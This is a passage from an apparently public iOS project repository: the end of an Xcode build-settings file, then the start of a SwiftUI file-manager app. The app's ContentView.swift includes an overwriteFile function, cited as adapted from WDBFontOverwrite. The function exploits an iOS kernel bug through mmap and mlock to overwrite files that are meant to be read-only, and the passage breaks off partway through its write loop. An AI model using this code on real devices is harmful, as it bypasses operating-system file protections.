208 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
209 | MTL_FAST_MATH = YES;
210 | ONLY_ACTIVE_ARCH = YES;
211 | SDKROOT = iphoneos;
212 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
213 | SWIFT_OPTIMIZATION_LEVEL = "-Onone";
214 | };
215 | name = Debug;
216 | };
217 | 6F2E69C0295CE65D007338D8 /* Release */ = {
218 | isa = XCBuildConfiguration;
219 | buildSettings = {
220 | ALWAYS_SEARCH_USER_PATHS = NO;
221 | CLANG_ANALYZER_NONNULL = YES;
222 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
223 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
224 | CLANG_ENABLE_MODULES = YES;
225 | CLANG_ENABLE_OBJC_ARC = YES;
226 | CLANG_ENABLE_OBJC_WEAK = YES;
227 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
228 | CLANG_WARN_BOOL_CONVERSION = YES;
229 | CLANG_WARN_COMMA = YES;
230 | CLANG_WARN_CONSTANT_CONVERSION = YES;
231 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
232 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
233 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
234 | CLANG_WARN_EMPTY_BODY = YES;
235 | CLANG_WARN_ENUM_CONVERSION = YES;
236 | CLANG_WARN_INFINITE_RECURSION = YES;
237 | CLANG_WARN_INT_CONVERSION = YES;
238 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
239 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
240 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
241 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
242 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
243 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
244 | CLANG_WARN_STRICT_PROTOTYPES = YES;
245 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
246 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
247 | CLANG_WARN_UNREACHABLE_CODE = YES;
248 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
249 | COPY_PHASE_STRIP = NO;
250 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
251 | ENABLE_NS_ASSERTIONS = NO;
252 | ENABLE_STRICT_OBJC_MSGSEND = YES;
253 | GCC_C_LANGUAGE_STANDARD = gnu11;
254 | GCC_NO_COMMON_BLOCKS = YES;
255 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
256 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
257 | GCC_WARN_UNDECLARED_SELECTOR = YES;
258 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
259 | GCC_WARN_UNUSED_FUNCTION = YES;
260 | GCC_WARN_UNUSED_VARIABLE = YES;
261 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
262 | MTL_ENABLE_DEBUG_INFO = NO;
263 | MTL_FAST_MATH = YES;
264 | SDKROOT = iphoneos;
265 | SWIFT_COMPILATION_MODE = wholemodule;
266 | SWIFT_OPTIMIZATION_LEVEL = "-O";
267 | VALIDATE_PRODUCT = YES;
268 | };
269 | name = Release;
270 | };
271 | 6F2E69C2295CE65D007338D8 /* Debug */ = {
272 | isa = XCBuildConfiguration;
273 | buildSettings = {
274 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
275 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
276 | CLANG_ENABLE_MODULES = YES;
277 | CODE_SIGN_STYLE = Automatic;
278 | CURRENT_PROJECT_VERSION = 1;
279 | DEVELOPMENT_ASSET_PATHS = "\"files/Preview Content\"";
280 | DEVELOPMENT_TEAM = M485NQ89DK;
281 | ENABLE_PREVIEWS = YES;
282 | GENERATE_INFOPLIST_FILE = YES;
283 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
284 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
285 | INFOPLIST_KEY_UILaunchScreen_Generation = YES;
286 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
287 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
288 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
289 | LD_RUNPATH_SEARCH_PATHS = (
290 | "$(inherited)",
291 | "@executable_path/Frameworks",
292 | );
293 | MARKETING_VERSION = 1.0;
294 | PRODUCT_BUNDLE_IDENTIFIER = com.mineek.files;
295 | PRODUCT_NAME = "$(TARGET_NAME)";
296 | SWIFT_EMIT_LOC_STRINGS = YES;
297 | SWIFT_OBJC_BRIDGING_HEADER = "files/files-Bridging-Header.h";
298 | SWIFT_OPTIMIZATION_LEVEL = "-Onone";
299 | SWIFT_VERSION = 5.0;
300 | TARGETED_DEVICE_FAMILY = "1,2";
301 | };
302 | name = Debug;
303 | };
304 | 6F2E69C3295CE65D007338D8 /* Release */ = {
305 | isa = XCBuildConfiguration;
306 | buildSettings = {
307 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
308 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
309 | CLANG_ENABLE_MODULES = YES;
310 | CODE_SIGN_STYLE = Automatic;
311 | CURRENT_PROJECT_VERSION = 1;
312 | DEVELOPMENT_ASSET_PATHS = "\"files/Preview Content\"";
313 | DEVELOPMENT_TEAM = M485NQ89DK;
314 | ENABLE_PREVIEWS = YES;
315 | GENERATE_INFOPLIST_FILE = YES;
316 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
317 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
318 | INFOPLIST_KEY_UILaunchScreen_Generation = YES;
319 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
320 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
321 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
322 | LD_RUNPATH_SEARCH_PATHS = (
323 | "$(inherited)",
324 | "@executable_path/Frameworks",
325 | );
326 | MARKETING_VERSION = 1.0;
327 | PRODUCT_BUNDLE_IDENTIFIER = com.mineek.files;
328 | PRODUCT_NAME = "$(TARGET_NAME)";
329 | SWIFT_EMIT_LOC_STRINGS = YES;
330 | SWIFT_OBJC_BRIDGING_HEADER = "files/files-Bridging-Header.h";
331 | SWIFT_VERSION = 5.0;
332 | TARGETED_DEVICE_FAMILY = "1,2";
333 | };
334 | name = Release;
335 | };
336 | /* End XCBuildConfiguration section */
337 |
338 | /* Begin XCConfigurationList section */
339 | 6F2E69AE295CE65B007338D8 /* Build configuration list for PBXProject "files" */ = {
340 | isa = XCConfigurationList;
341 | buildConfigurations = (
342 | 6F2E69BF295CE65D007338D8 /* Debug */,
343 | 6F2E69C0295CE65D007338D8 /* Release */,
344 | );
345 | defaultConfigurationIsVisible = 0;
346 | defaultConfigurationName = Release;
347 | };
348 | 6F2E69C1295CE65D007338D8 /* Build configuration list for PBXNativeTarget "files" */ = {
349 | isa = XCConfigurationList;
350 | buildConfigurations = (
351 | 6F2E69C2295CE65D007338D8 /* Debug */,
352 | 6F2E69C3295CE65D007338D8 /* Release */,
353 | );
354 | defaultConfigurationIsVisible = 0;
355 | defaultConfigurationName = Release;
356 | };
357 | /* End XCConfigurationList section */
358 | };
359 | rootObject = 6F2E69AB295CE65B007338D8 /* Project object */;
360 | }
361 |
--------------------------------------------------------------------------------
/files/ContentView.swift:
--------------------------------------------------------------------------------
1 | //
2 | // ContentView.swift
3 | // files
4 | //
5 | // Created by Mineek on 28/12/2022.
6 | //
7 |
8 | import SwiftUI
9 |
10 | // A elegant file manager for CVE-2022-446689
11 |
12 | // Structs
13 | struct File: Identifiable {
14 | var id = UUID()
15 | var name: String
16 | var type: String
17 | var size: String
18 | var date: String
19 | }
20 |
21 | struct Folder: Identifiable {
22 | var id = UUID()
23 | var name: String
24 | var contents: [File]
25 | }
26 |
27 | // the main magic: the CVE
28 | // based on: https://github.com/zhuowei/WDBFontOverwrite/blob/main/WDBFontOverwrite/OverwriteFontImpl.swift#L34
29 | func overwriteFile(fileDataLocked: Data, pathtovictim: String) -> Bool {
30 | var fileData = fileDataLocked
31 | let fd = open(pathtovictim, O_RDONLY | O_CLOEXEC)
32 | NSLog("Path to victim: \(pathtovictim)")
33 | if fd == -1 {
34 | print("can't open font?!")
35 | return false
36 | }
37 | defer { close(fd) }
38 | let originalFileSize = lseek(fd, 0, SEEK_END)
39 | guard originalFileSize >= fileData.count else {
40 | print("font too big!")
41 | return false
42 | }
43 | lseek(fd, 0, SEEK_SET)
44 |
45 | NSLog("data: \(fileData)")
46 |
47 | let fileMap = mmap(nil, fileData.count, PROT_READ, MAP_SHARED, fd, 0)
48 | if fileMap == MAP_FAILED {
49 | print("can't mmap font?!")
50 | return false
51 | }
52 | guard mlock(fileMap, fileData.count) == 0 else {
53 | print("can't mlock")
54 | return false
55 | }
56 |
57 | print(Date())
58 | for chunkOff in stride(from: 0, to: fileData.count, by: 0x4000) {
59 | print(String(format: "%lx", chunkOff))
60 | // we only rewrite 16383 bytes out of every 16384 bytes.
61 | let dataChunk = fileData[chunkOff..